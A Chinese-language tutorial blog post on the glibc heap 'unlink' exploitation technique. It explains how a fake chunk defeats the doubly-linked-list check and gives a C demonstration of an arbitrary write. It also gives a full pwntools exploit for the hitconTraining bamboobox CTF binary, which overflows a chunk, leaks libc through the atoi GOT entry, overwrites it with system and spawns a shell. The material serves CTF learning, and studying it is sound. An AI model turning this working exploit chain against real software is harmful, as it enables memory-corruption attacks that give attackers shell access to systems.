PWN 堆利用 unlink 学习笔记

VSole2022-07-13 16:45:33

chunk合并

chunk结构体大致如下:

struct chunk{    size_t prev_size;    size_t size;//低3位不算在size里面    union    {        struct        {            chunk* fd;            chunk* bk;        };        char userdata[0];    }}

size的低三位表示为:

这里会用到 PREV_INUSE(P): 表示前一个chunk是否为allocated。

P位为1时代表物理相邻的前一个chunk为free状态,此时prev_size代表前一个chunk的大小。

非fastbin的chunk在free时会与物理相邻的空闲chunk合并。

unlink漏洞

非fastbin中的chunk使用的是双向链表,使用chunk的fd、bk链接

设需要unlink的指针为P,在unlink时,进行如下操作:

高版本的libc会检测BK和FD的指针是否指向P:

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

伪造一个fake_chunk,绕过unlink的检测,即可任意地址写。

漏洞利用

1.设有相邻的两块chunk,p,f,使得f,free后不进入fastbin(chunk size>0x80)。

2.在p中创建一个伪造chunk块fake_chunk,使p->Fd= &p-3*sizeof(size_t);p->bK= &p-2*sizeof(size_t)。

3.修改f的chunk头,使prev_size=fake_chunk_size, PREV_INUSE = 0。

4.free(f),这时glibc查看f的chunk头,发现f的上一个chunk是free状态,就把上一个chunk(p)拿来合并。

此时正好满足glibc检测条件,unlink后,先执行p=&b;再执行p=&a; 最后结果就是p指向a的首地址,从而控制了从a到p的地址(假如a可写)。

实验

直接上代码:

#include <stdio.h> size_t* a = NULL;size_t* b = NULL;size_t* c = NULL;size_t* p = NULL;size_t* f = NULL; int main(){    p = malloc(0x80);    f = malloc(0x80);    malloc(0x10);     //set f->PREV_INUSE = 0    p[17] = 0x90;//*(f-1) = 0x90;    //set f->prev_size = 0x80(fakechunk size)    p[16] = 0x80;//*(f-2) = 0x80;     //fakechunk    p[0] = 0;    p[1] = 0x81;    p[2] = &a;    p[3] = &b;     //unlink    free(f);     if(&a == p)    {        printf("hack!!!!\n");        p[0] = 0x11111111;        p[1] = 0x22222222;        p[2] = 0x33333333;        p[3] = 0x44444444;         printf("a = %p\n", a);        printf("b = %p\n", b);        printf("c = %p\n", c);        printf("p = %p\n", p);    }    return 0;}//gcc -g test.c

/*多申请一块chunk,防止合并到top chunk里面*/

假设我们只可以控制p、f的申请,释放,写入,unlink后p的地址可控,即可任意地址写。

总结公式

feak_chunk->Fd = &p - 3*sizeof(size_t);

feak_chunk->Bk = &p - 2*sizeof(size_t);

f->PREV_INUSE = 0;

f->prev_size = chunk_size(feak_chunk);

free(f)

p[3] = 需要覆盖的地址()

printf("%s",p) 泄露需要覆盖的地址

p[0] = system

调用需要覆盖的地址()拿shell

一道题 hitconTraining_bamboobox

程序功能就是堆的增删改查。

add:

change()函数没有检测chunk的大小,可以溢出到下一个堆块,覆盖chunk头。

show()用来泄露glibc。

套用公式的exp。

from pwn import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c']context.log_level = 'debug' sh = process("./bamboobox")#gdb.debug("./bamboobox")bambooboxElf = ELF("./bamboobox")libcElf = ELF("/lib/x86_64-linux-gnu/libc.so.6") def pause_debug():    try:        raise Exception    except:        f = sys.exc_info()[2].tb_frame.f_back      debug("pause_debug [%d]" %f.f_lineno)    pause()    return  def show():    sh.sendlineafter(b"Your choice:", b"1") def add(length, name):    sh.sendlineafter(b"Your choice:", b"2")    sh.sendlineafter(b"Please enter the length of item name:", str(length + 1).encode())    sh.sendlineafter(b"Please enter the name of item:", name) def change(index, length, name):    sh.sendlineafter(b"Your choice:", b"3")    sh.sendlineafter(b"Please enter the index of item:", str(index).encode())    sh.sendlineafter(b"Please enter the length of item name:", str(length + 1).encode())    sh.sendlineafter(b"Please enter the new name of the item:", name) def remove(index):    sh.sendlineafter(b"Your choice:", b"4")    sh.sendlineafter(b"Please enter the index of item:", str(index).encode())  add(0x40, "aaa")add(0x80, "bbb")add(0x80, "ccc")  # .bss:00000000006020C0 ; Box itemlist[100]index1_p = 0x00000000006020C0 + 8 payload = flat([    p64(0),                             #feak_chunk->prev_size     p64(0x41),                          #feak_chunk->size     p64(index1_p - 3*8),                #feak_chunk->Fd = &p - 3*sizeof(size_t);    p64(index1_p - 2*8),                #feak_chunk->Bk = &p - 2*sizeof(size_t);    b'a' * 0x20,                        #feak_chunk->user_data    p64(0x40),                          #f->prev_size     p64(0x90)                           #f->size ])change(0, len(payload), payload)remove(1) payload = flat([    p64(0) * 3,    p64(bambooboxElf.got["atoi"])        #p[3] = 需要覆盖的地址()]) change(0, len(payload), payload)show()                                    #printf("%s",p) 泄露需要覆盖的地址sh.recvuntil("0 : ")libc = sh.recv(6).ljust(8,b"\x00")libc = u64(libc)success("libc:%x" %libc)libcBase = libc - libcElf.sym["atoi"]success("libcBase:%x" %libcBase) change(0, 8, p64(libcBase + libcElf.sym["system"]))      #需要覆盖的地址(atoi_got)=system# pause_debug()sh.sendlineafter(b"Your choice:", b"/bin/sh")            #调用system拿shellsh.interactive()
unlinksize_t
本作品采用《CC 协议》,转载必须注明作者和本文链接
house of force 主要利用 top chunk 的漏洞 过修改topchunk_size来进行攻击 利用 top chunk 分割的漏洞来申请任意 chunk, 然后再劫持 hook 或者更改 got表
PWN 堆利用 unlink 学习笔记
影响版本:Linux v5.10-rc1 ~ v5.14.15。v5.14.16已修补。高危,可导致远程权,评分9.8。 默认不加载,需用户配置。
本文就简单介绍介绍如何编译一个musl libc下的程序,并简单调试调试musl libc 的一些性。安装musl环境&&符号表这里直接用0xRGz师傅的做法。(这里的/path/to是需要修改的,也就是你git的muslheap的路径。freed_mask记录group中已经被free释放的堆块,当前没有任何被释放的堆块,所以为0。free_able为1表示当前有一个堆块能free。sizeclass为2 表示由0x2这个group进行管理这一类的大小的chunk。maplen为0说明这个group不是过mmap分配的。接下来我们调试调试meta dequeue第二种触发方式——malloc的时候。
「Rootkit」即「root kit」,直译为中文便是「根权限工具包」的意思,在今天的语境下更多指的是一种被作为驱动程序、加载到操作系统内核中的恶意软件。
本文示例是来自corCTF 2021中 的两个内核,由 BitsByWill 和 D3v17 所出。针对UAF漏洞,漏洞对象从kmalloc-64到kmalloc-4096,都能利用 msg_msg 结构实现任意写。
在当前CTF比赛中,“伪造IO_FILE”是pwn里一种常见的利用方式,并且有时难度还不小。
本题来源于DefCon Quals 2021的mooosl,考察点是最新版本musl libc 1.2.2利用。
Glibc2.29及以上版本堆的利用技巧越来越复杂,简直就是神仙打架,实在学得有点晕。并且很多时候就算我们有了复用堆块在出题人的各种围追堵截的限制下,也可能没办法getshell,所以一直在不断开发新的利用姿势。
前言本文主要着眼于glibc下的一些漏洞及利用技巧和IO调用链,由浅入深,分为 “基础堆利用漏洞及基本IO攻击” 与 “高版本glibc下的利用” 两部分来进行讲解,前者主要包括了一些glibc相关的基础知识,以及低版本glibc下常见的漏洞利用方式,后者主要涉及到一些较新的glibc下的IO调用链。
VSole
网络安全专家